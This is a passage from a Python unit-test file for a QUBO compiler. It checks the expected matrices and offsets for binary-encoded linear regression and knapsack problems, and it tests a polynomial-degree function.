1086 | 0.0107177734375],\
1087 | [0.0, 0.0, 0.0, 0.0, 0.0, -5.70273681640625, 0.049294433593750006,\
1088 | 0.024647216796875003, 0.6859375, 0.34296875, 0.171484375, 0.0857421875,\
1089 | 0.04287109375, 0.021435546875, 0.0107177734375, 0.00535888671875],\
1090 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -2.8636920166015623, 0.012323608398437502,\
1091 | 0.34296875, 0.171484375, 0.0857421875, 0.04287109375, 0.021435546875,\
1092 | 0.0107177734375, 0.00535888671875, 0.002679443359375],\
1093 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -1.4349269104003906, 0.171484375,\
1094 | 0.0857421875, 0.04287109375, 0.021435546875, 0.0107177734375,\
1095 | 0.00535888671875, 0.002679443359375, 0.0013397216796875],\
1096 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -37.92, 2.5, 1.25, 0.625,\
1097 | 0.3125, 0.15625, 0.078125, 0.0390625],\
1098 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -19.585, 0.625, 0.3125,\
1099 | 0.15625, 0.078125, 0.0390625, 0.01953125],\
1100 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -9.94875, 0.15625,\
1101 | 0.078125, 0.0390625, 0.01953125, 0.009765625],\
1102 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -5.0134375,\
1103 | 0.0390625, 0.01953125, 0.009765625, 0.0048828125],\
1104 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1105 | -2.516484375, 0.009765625, 0.0048828125, 0.00244140625],\
1106 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1107 | -1.26068359375, 0.00244140625, 0.001220703125],\
1108 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1109 | -0.6309521484375, 0.0006103515625],\
1110 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1111 | 0.0, -0.315628662109375]]
1112 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
1113 | self.assertEqual(offset, 171.475400000000)
1114 |
1115 | def test_linear_regression2(self):
1116 | #aを2進数(8bit)で表す、10~20で規格化
1117 | a = symbols_nbit(10, 20, 'a{}', num=8)
1118 | #bを2進数(8bit)で表す、0~1で規格化
1119 | b = symbols_nbit(0, 1, 'b{}', num=8)
1120 |
1121 | #誤差二乗ペナルティ
1122 | H = 0
1123 | H += (5.75 - (a*0.31 + b))**2
1124 | H += (8.56 - (a*0.4 + b))**2
1125 | H += (8.42 - (a*0.47 + b))**2
1126 | H += (7.78 - (a*0.4 + b))**2
1127 | H += (10.25 - (a*0.54 + b))**2
1128 | H += (6.79 - (a*0.36 + b))**2
1129 | H += (11.51 - (a*0.56 + b))**2
1130 | H += (7.66 - (a*0.43 + b))**2
1131 | H += (6.99 - (a*0.32 + b))**2
1132 | H += (10.61 - (a*0.6 + b))**2
1133 |
1134 |
1135 | #コンパイル
1136 | qubo, offset = Compile(H).get_qubo()
1137 | expected_qubo_matrix = \
1138 | [[-570.04, 201.91000000000003, 100.95500000000001, 50.477500000000006,\
1139 | 25.238750000000003, 12.619375000000002, 6.309687500000001,\
1140 | 3.1548437500000004, 43.900000000000006, 21.950000000000003,\
1141 | 10.975000000000001, 5.487500000000001, 2.7437500000000004,\
1142 | 1.3718750000000002, 0.6859375000000001, 0.34296875000000004],\
1143 | [0.0, -335.4975, 50.477500000000006, 25.238750000000003,\
1144 | 12.619375000000002, 6.309687500000001, 3.1548437500000004,\
1145 | 1.5774218750000002, 21.950000000000003, 10.975000000000001,\
1146 | 5.487500000000001, 2.7437500000000004, 1.3718750000000002,\
1147 | 0.6859375000000001, 0.34296875000000004, 0.17148437500000002],\
1148 | [0.0, 0.0, -180.36812500000002, 12.619375000000002, 6.309687500000001,\
1149 | 3.1548437500000004, 1.5774218750000002, 0.7887109375000001,\
1150 | 10.975000000000001, 5.487500000000001, 2.7437500000000004,\
1151 | 1.3718750000000002, 0.6859375000000001, 0.34296875000000004,\
1152 | 0.17148437500000002, 0.08574218750000001],\
1153 | [0.0, 0.0, 0.0, -93.33890625000001, 3.1548437500000004,\
1154 | 1.5774218750000002, 0.7887109375000001, 0.39435546875000005,\
1155 | 5.487500000000001, 2.7437500000000004, 1.3718750000000002,\
1156 | 0.6859375000000001, 0.34296875000000004, 0.17148437500000002,\
1157 | 0.08574218750000001, 0.042871093750000006],\
1158 | [0.0, 0.0, 0.0, 0.0, -47.4581640625, 0.7887109375000001,\
1159 | 0.39435546875000005, 0.19717773437500002, 2.7437500000000004,\
1160 | 1.3718750000000002, 0.6859375000000001, 0.34296875000000004,\
1161 | 0.17148437500000002, 0.08574218750000001, 0.042871093750000006,\
1162 | 0.021435546875000003],\
1163 | [0.0, 0.0, 0.0, 0.0, 0.0, -23.926259765625, 0.19717773437500002,\
1164 | 0.09858886718750001, 1.3718750000000002, 0.6859375000000001,\
1165 | 0.34296875000000004, 0.17148437500000002, 0.08574218750000001,\
1166 | 0.042871093750000006, 0.021435546875000003, 0.010717773437500001],\
1167 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -12.01242431640625, 0.049294433593750006,\
1168 | 0.6859375000000001, 0.34296875000000004, 0.17148437500000002,\
1169 | 0.08574218750000001, 0.042871093750000006, 0.021435546875000003,\
1170 | 0.010717773437500001, 0.005358886718750001],\
1171 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -6.018535766601563,\
1172 | 0.34296875000000004, 0.17148437500000002, 0.08574218750000001,\
1173 | 0.042871093750000006, 0.021435546875000003, 0.010717773437500001,\
1174 | 0.005358886718750001, 0.0026794433593750003],\
1175 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -81.82000000000001, 2.5, 1.25,\
1176 | 0.625, 0.3125, 0.15625, 0.078125, 0.0390625],\
1177 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -41.535000000000004, 0.625,\
1178 | 0.3125, 0.15625, 0.078125, 0.0390625, 0.01953125],\
1179 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -20.923750000000002,\
1180 | 0.15625, 0.078125, 0.0390625, 0.01953125, 0.009765625],\
1181 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1182 | -10.500937500000001, 0.0390625, 0.01953125, 0.009765625, 0.0048828125],\
1183 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1184 | -5.2602343750000005, 0.009765625, 0.0048828125, 0.00244140625],\
1185 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1186 | -2.6325585937500002, 0.00244140625, 0.001220703125],\
1187 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1188 | -1.3168896484375001, 0.0006103515625],\
1189 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0,\
1190 | 0.0, -0.6585974121093751]]
1191 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
1192 | self.assertEqual(offset, 741.515400000000)
1193 |
1194 | def test_napzak1(self):
1195 | #量子ビットを用意する
1196 | q0 = symbols('q0')
1197 | q1 = symbols('q1')
1198 | q2 = symbols('q2')
1199 | q3 = symbols('q3')
1200 | q4 = symbols('q4')
1201 | q5 = symbols('q5')
1202 | q6 = symbols('q6')
1203 |
1204 | #7個のドリンクをそれぞれ取るか取らないか、値段を係数にして合計が15になる(強い条件)
1205 | H = 0
1206 | H += (4*q0 + 4*q1 + 4*q2 + 6*q3 + 6*q4 + 7*q5 + 7*q6 - 15)**2
1207 |
1208 | #7個のドリンクをそれぞれ取るか取らないか、回復量を係数にして報酬とする(弱い条件)
1209 | H += -0.01 * (3*q0 + 3*q1 + 3*q2 + 5*q3 + 5*q4 + 7*q5 + 7*q6)
1210 |
1211 | #コンパイル
1212 | qubo, offset = Compile(H).get_qubo()
1213 | expected_qubo_matrix = \
1214 | [[-104.03, 32.0, 32.0, 48.0, 48.0, 56.0, 56.0],\
1215 | [0.0, -104.03, 32.0, 48.0, 48.0, 56.0, 56.0],\
1216 | [0.0, 0.0, -104.03, 48.0, 48.0, 56.0, 56.0],\
1217 | [0.0, 0.0, 0.0, -144.05, 72.0, 84.0, 84.0],\
1218 | [0.0, 0.0, 0.0, 0.0, -144.05, 84.0, 84.0],\
1219 | [0.0, 0.0, 0.0, 0.0, 0.0, -161.07, 98.0],\
1220 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -161.07]]
1221 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
1222 | self.assertEqual(offset, 225)
1223 |
1224 | def test_napzak2(self):
1225 | #量子ビットを用意する
1226 | q0 = symbols('q0')
1227 | q1 = symbols('q1')
1228 | q2 = symbols('q2')
1229 | q3 = symbols('q3')
1230 | q4 = symbols('q4')
1231 | q5 = symbols('q5')
1232 | q6 = symbols('q6')
1233 |
1234 | #補助ビットを用意する
1235 | s0 = symbols('s0')
1236 | s1 = symbols('s1')
1237 | s2 = symbols('s2')
1238 | s3 = symbols('s3')
1239 |
1240 | #補助ビットをワンホットにする(強い条件)
1241 | #これにより (12*s0 + 13*s1 + 14*s2 + 15*s3) で 「12 or 13 or 14 or 15」 を表現できる
1242 | H = 0
1243 | H += (s0 + s1 + s2 + s3 - 1)**2
1244 |
1245 | #7個のドリンクをそれぞれ取るか取らないか、値段を係数にして合計が「12 or 13 or 14 or 15」になる(強い条件)
1246 | H += (4*q0 + 4*q1 + 4*q2 + 6*q3 + 6*q4 + 7*q5 + 7*q6 - (12*s0 + 13*s1 + 14*s2 + 15*s3))**2
1247 |
1248 | #7個のドリンクをそれぞれ取るか取らないか、回復量を係数にして報酬とする(弱い条件)
1249 | H += -0.01 * (3*q0 + 3*q1 + 3*q2 + 5*q3 + 5*q4 + 7*q5 + 7*q6)
1250 |
1251 | #おいしいみずを降順にする
1252 | H += (1 - q0) * q1
1253 | H += (1 - q1) * q2
1254 | #サイコソーダを降順にする
1255 | H += (1 - q3) * q4
1256 | #ミックスオレを降順にする
1257 | H += (1 - q5) * q6
1258 |
1259 | #コンパイル
1260 | qubo, offset = Compile(H).get_qubo()
1261 | # print(np.array2string(qubo[0], separator=', ', formatter={'float_kind': lambda x: f'{x}'}))
1262 | expected_qubo_matrix = \
1263 | [[15.97, 31.0, 32.0, 48.0, 48.0, 56.0, 56.0, -96.0, -104.0, -112.0,\
1264 | -120.0],\
1265 | [0.0, 16.97, 31.0, 48.0, 48.0, 56.0, 56.0, -96.0, -104.0, -112.0, -120.0],\
1266 | [0.0, 0.0, 16.97, 48.0, 48.0, 56.0, 56.0, -96.0, -104.0, -112.0, -120.0],\
1267 | [0.0, 0.0, 0.0, 35.95, 71.0, 84.0, 84.0, -144.0, -156.0, -168.0, -180.0],\
1268 | [0.0, 0.0, 0.0, 0.0, 36.95, 84.0, 84.0, -144.0, -156.0, -168.0, -180.0],\
1269 | [0.0, 0.0, 0.0, 0.0, 0.0, 48.93, 97.0, -168.0, -182.0, -196.0, -210.0],\
1270 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 49.93, -168.0, -182.0, -196.0, -210.0],\
1271 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 143.0, 314.0, 338.0, 362.0],\
1272 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 168.0, 366.0, 392.0],\
1273 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 195.0, 422.0],\
1274 | [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 224.0]]
1275 | self.assertTrue(are_same_qubo_matrices(qubo[0], expected_qubo_matrix))
1276 | self.assertEqual(offset, 1)
1277 |
1278 |
1279 | # テストケースの定義
1280 | @pytest.mark.parametrize("expr, expected", [
1281 | (symbols('x')**2 + 3*symbols('x') + 2, 2), # 単純な多項式
1282 | (symengine.expand(5), 0), # 定数項のみ
1283 | (symbols('x'), 1), # 単一変数
1284 | (symbols('x')**2 + symbols('y')**2, 2), # 複数変数の多項式
1285 | (symbols('x')**(symbols('x')**2), None), # 非多項式(指数に変数を含む)
1286 | (symbols('x')**0.5, None), # 非多項式(根号内に変数)
1287 | (3*symbols('x')**3 * 2*symbols('x')**2, 5), # 乗算された項
1288 | (symbols('x')**3 + 2*symbols('x')**2 * symbols('x'), 3), # 加算と乗算の混合
1289 | (2*symbols('x') * 3*symbols('y'), 2), # 複数項の乗算(変数と定数)
1290 | (symbols('x')**-2, None), # 負のべき乗
1291 | ])
1292 |
1293 | def test_calc_degree(expr, expected):
1294 | assert calc_degree(expr) == expected
1295 |
--------------------------------------------------------------------------------